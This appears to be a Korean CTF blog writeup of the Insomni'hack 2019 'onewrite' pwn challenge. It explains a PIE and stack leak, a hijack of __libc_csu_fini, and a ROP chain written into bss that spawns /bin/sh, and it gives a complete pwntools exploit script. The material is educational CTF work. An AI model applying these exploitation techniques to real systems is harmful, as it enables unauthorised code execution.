[Insomni'hack 2019] onewrite writeup
Description
is here
difficulty: easy
_ nc onewrite.teaser.insomnihack.ch 1337
간단한 문제입니다.
All you need to pwn nowadays is a leak and a qword write they say... What do you want to leak ? 1. stack 2. pie > 1 0x7fff979bf4a0 address : 140735736968352 data : 12345678
프로그램을 실행하면 stack
이나 do_leak
함수의 주소(pie)를 선택하여 둘 중 하나를 leak할 수 있습니다.
그 후, do_overwrite
함수를 통해 임의의 주소에 8 byte를 쓸 수 있게됩니다.
[*] '/home/myria/CTF/Insomni_hack/onewrite/onewrite' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled and binary is "statically linked"
그러나 바이너리가 정적링크(statically linked)이기 때문에 stack
과 pie
둘 다 leak할 필요가 있습니다.
공격은 아래와 같이 진행됩니다.
- Leak
PIE
address - Overwrite
pie_addr + 0x2a55a3
withmain
address - Program end. And the
exit
will be called aftermain
returns.
(it call__libc_csu_fini
function) __libc_csu_fini
function callQWORD [pie_addr + 0x2a55a3]
. so we again jump tomain
function.- Leak
Stack
address - Write a
ropchain
in thebss
- Jump
ropchain
- Get Shell
main함수가 끝나고 exit함수가 호출되는데, 이 exit함수에서 다시 __libc_csu_fini
가 호출됩니다. 여기 <__ libc_csu_fini+40>
에 있는 call QWORD PTR [rbp + rbx*8+0x0] 인스트럭션을 통해 다시 main 함수로 점프할 수 있습니다.
6. Write a 'ropchain' in the 'bss'
이 부분이 어렵습니다. 임의의 주소에 8바이트를 쓰고 다시 한번 main함수로 ret 조작없이 돌아올 수 있어야합니다.
return address를 조작할 때, 함수의 프롤로그와 에필로그를 적절히 생략되게 조작하면 우리는 stack을 조절할 수 있습니다.
main 함수의 반환 주소를 조작하고 do_leak 함수의 반환 주소를 조작합니다. (sub rsp, 0x18, rsp, 0x18 또는 sub rsp, 0x8, add rsp, 0x8)
그러면 스택은 아래와 같이 구성됩니다. 위 두 작업을 통해 return 주소 조작없이 임의의 주소에 8byte를 쓸 수 있는 기회를 한번 얻었습니다.
이제 남은 것은 간단합니다. ropchain을 만들고 pop rsp; ret
을 사용하여 ropchain을 실행하면 됩니다.
English writeup
The full exploit code
from pwn import * #conn = remote("onewrite.teaser.insomnihack.ch", 1337) conn = process("onewrite") def leak(select): conn.recvuntil(" > ") conn.sendline(str(select)) leak_addr = int(conn.recvline().strip(), 16) return leak_addr def write(addr, data): conn.recvuntil("address : ") conn.send(str(addr)) conn.recvuntil("data : ") conn.send(data) ## Stage 1 # do_leak func address leak pie_addr = leak(2) log.info("pie_address : " + hex(pie_addr)) target = pie_addr + 0x2a55a3 # rbp+rbx*8+0x0 // call QWORD PTR [rbp+rbx*8+0x0] main = pie_addr + 0xa3 # main function address write(target, p64(main)) ## Stage 2 # stack_address leak stack_addr = leak(1) target = stack_addr + 0x28 # return address (main function) log.info("stack_address : " + hex(stack_addr)) write(target, p64(main)) def write_arbitrary(addr, data): # stack_address += 8 stack_addr = leak(1) log.info("stack_address : " + hex(stack_addr)) target = stack_addr + 0x28 write(target, p64(main)) # stack_address -= 8 stack_addr = leak(1) log.info("stack_address : " + hex(stack_addr)) target = stack_addr + 0x18 write(target, p64(main)) # main_ret => main # free write! and return Main stack_addr = leak(1) log.info("stack_address : " + hex(stack_addr)) log.info("writing") write(addr, data) # free write # rop_gadget pie_base = pie_addr - 0x000008A15 pop_rdi = pie_base + 0x000858fb pop_rsi = pie_base + 0x0008551a pop_rdx = pie_base + 0x000484c5 pop_rax = pie_base + 0x0004654c syscall = pie_base + 0x00088834 bss_address = pie_base + 0x2B38D0 log.info("pie_base : " + hex(pie_base)) # write "/bin/sh" to BSS write_arbitrary(bss_address, "/bin/sh\x00") idx = 2 def rop(data): global idx write_arbitrary(bss_address + idx*8, p64(data)) idx+=1 # write rop_chain to BSS rop(pop_rdi) rop(bss_address) rop(pop_rsi) rop(0) rop(pop_rdx) rop(0) rop(pop_rax) rop(59) rop(syscall) def trigger_rop(): stack_addr = leak(1) target = stack_addr + 0x28 log.info("stack_address : " + hex(stack_addr)) write(target, p64(main)) pop_rsp = pie_base + 0x00087c46 rop_chain = bss_address + 0x10 # jump ropchain write_arbitrary(stack_addr + 0x40, p64(pop_rsp)) write_arbitrary(stack_addr + 0x48, p64(rop_chain)) trigger_rop() leak(1) write(1,"id\n") conn.interactive()
'Write-up > Pwnable' 카테고리의 다른 글
[Codegate 2019] aeiou Write-up (0) | 2019.02.09 |
---|---|
[Codegate 2019] 20000 ( grep 이용하기) (0) | 2019.01.30 |
[0ctf 2017] babyheap (0) | 2018.10.20 |
[9447 CTF 2015] Search Engine (1) | 2018.09.30 |
[noxCTF] The Black Canary writeup (0) | 2018.09.13 |